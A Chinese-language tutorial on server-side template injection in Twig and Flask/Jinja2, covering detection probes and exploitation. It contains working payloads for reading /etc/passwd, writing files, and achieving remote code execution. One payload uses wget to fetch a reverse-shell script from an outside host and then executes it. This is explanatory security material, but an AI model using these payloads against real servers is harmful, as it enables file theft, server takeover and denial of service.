SSTI攻击分析

SSTI(Server-Side Template Injection) 服务端模板注入。顾名思义,服务器模板中拼接了恶意用户输入导致各种漏洞。

通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式。就拿一个销售软件来说,我们假设它会发送大量的邮件给客户,并在每封邮件前SKE插入问候语,它会通过Twig(一个模板引擎)做如下处理:

1
$output = $twig->render( $_GET['custom_email'] , array("first_name" => $user.first_name) );

除了可能存在的XSS问题,还有更深层次的隐患,我们知道Twig模板中

1
{{content}}

被两个括号包裹的内容会输出其表达式的值

1
2
3
custom_email={{7*7}} // GET 参数
49 // $output 结果

可以看到,服务器执行了我们传过去的数据,这时,漏洞就产生了。

漏洞探测

大部分的模板语言支持我们输入 HTML:

1
2
3
4
5
6
7
8
smarty=Hello {user.name}
Hello user1
freemarker=Hello ${username}
Hello newuser
any=<b>Hello</b>
<b>Hello<b>

除了使用XSS探针外,还可以发送类似下面的payload,不同模板语法有一些差异:

1
2
3
4
5
smarty=Hello ${7*7}
Hello 49
twig=Hello {{7*7}}
Hello 49

检测到模板注入漏洞后,需要准确识别模板引擎的类型,Burpsuite 则对不同模板接受的 payload 做了一个分类,并以此快速判断模板引擎:

payload

漏洞利用

读文档

读模板文献构造exp,一般为以下内容:

  • Template 使用手册,这一部分通常告诉我们基本的模板语法
  • 通过dir去分析所有环境变量的内容,分析其可能的利用方式
  • 内建方法,函数,变量,过滤器,使用dir或者help去分析所有对象
  • 插件/扩展——我们可以优先研究默认开启的

探测

当我们构建出了可用 exp 后,我们需要考虑我们当前环境可利用的函数/对象。除了模板默认的对象和我们提供的参数外,大部分模板引擎都有一个包含当前命名空间所有信息的对象(比如 self),或者一个可以列出所有属性和方法的函数。

如果没有这样的对象或函数,我们需要暴力枚举变量名。

利用

根据不同环境和可以用信息的不同,用模板注入来实现任意对象创建,任意文件读写,远程文件包含,信息泄露以及提权等。

漏洞利用时,除了传统的XSS漏洞,SSTI主要关注的是后台代码注入,通过对对象、上下文环境的利用,来构造出恶意程序。

flask & jinjia2模板为例:
对相关环境变量对象的分析与研究,学者们发现了一些对象的利用方式:

request.environ可以获取到服务器的环境变量,werkzeug.server.shutdown可以用于关闭服务器造成Dos攻击。

config对象:

It is a dictionary-like object that contains all of the configuration values for the application. In most cases, this includes sensitive values such as database connection strings, credentials to third party services, the SECRET_KEY, etc. Viewing these configuration items is as easy as injecting a payload of ``

config对象有4个方法:from_envvar, from_object, from_pyfile, and root_path

任意文件读取

获取object对象的所有子类引用列表

1
http://test.com/{{”.__class__.__mro__[2].__subclasses__()}}

选取其中file类对象,创建其实例,并传入参数

1
http://10.1.100.3:5000/{{”.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

实现了任意文件读取

任意文件写入
1
http://test.com/{{”.__class__.__mro__[2].__subclasses__()[40]('/tmp/tmp.txt', 'w').write('123')}}
远程代码执行

来源于这篇文章

其首先写入了一个tmp.cfg文件

1
http://test.com/{{”.__class__.__mro__[2].__subclasses__()[40]('/tmp/tmp.cfg', 'w').write('from subprocess import check_output\n\n RUNCMD = check_output\n')}}

之后,利用Flask Template Globals 中的config上下文对象导入py代码,from_pyfile 用于导入指定的py文件,然后将导入的py文件中的大写成员属性加入到config这个上下文对象中,这也是为什么RUNCMD要用大写的原因:
所以可以使用

1
http://test.com/{{config.from_pyfile('/tmp/tmp.cfg')}}

再利用注入的RUNCMD 执行系统命令下载反弹shell

1
http://test.com/{{config['RUNCMD'](‘/usr/bin/wget http://10.1.100.2/backShell.py -O /tmp/x’, shell=True)}}

python在导入模块的同时也会执行脚本中部分代码(class 和方法的定义不会执行),利用这一点,就可以执行反弹shell 了:

1
http://test.com/{{config.from_pyfile(‘/tmp/x’)}}

具体案例:

工具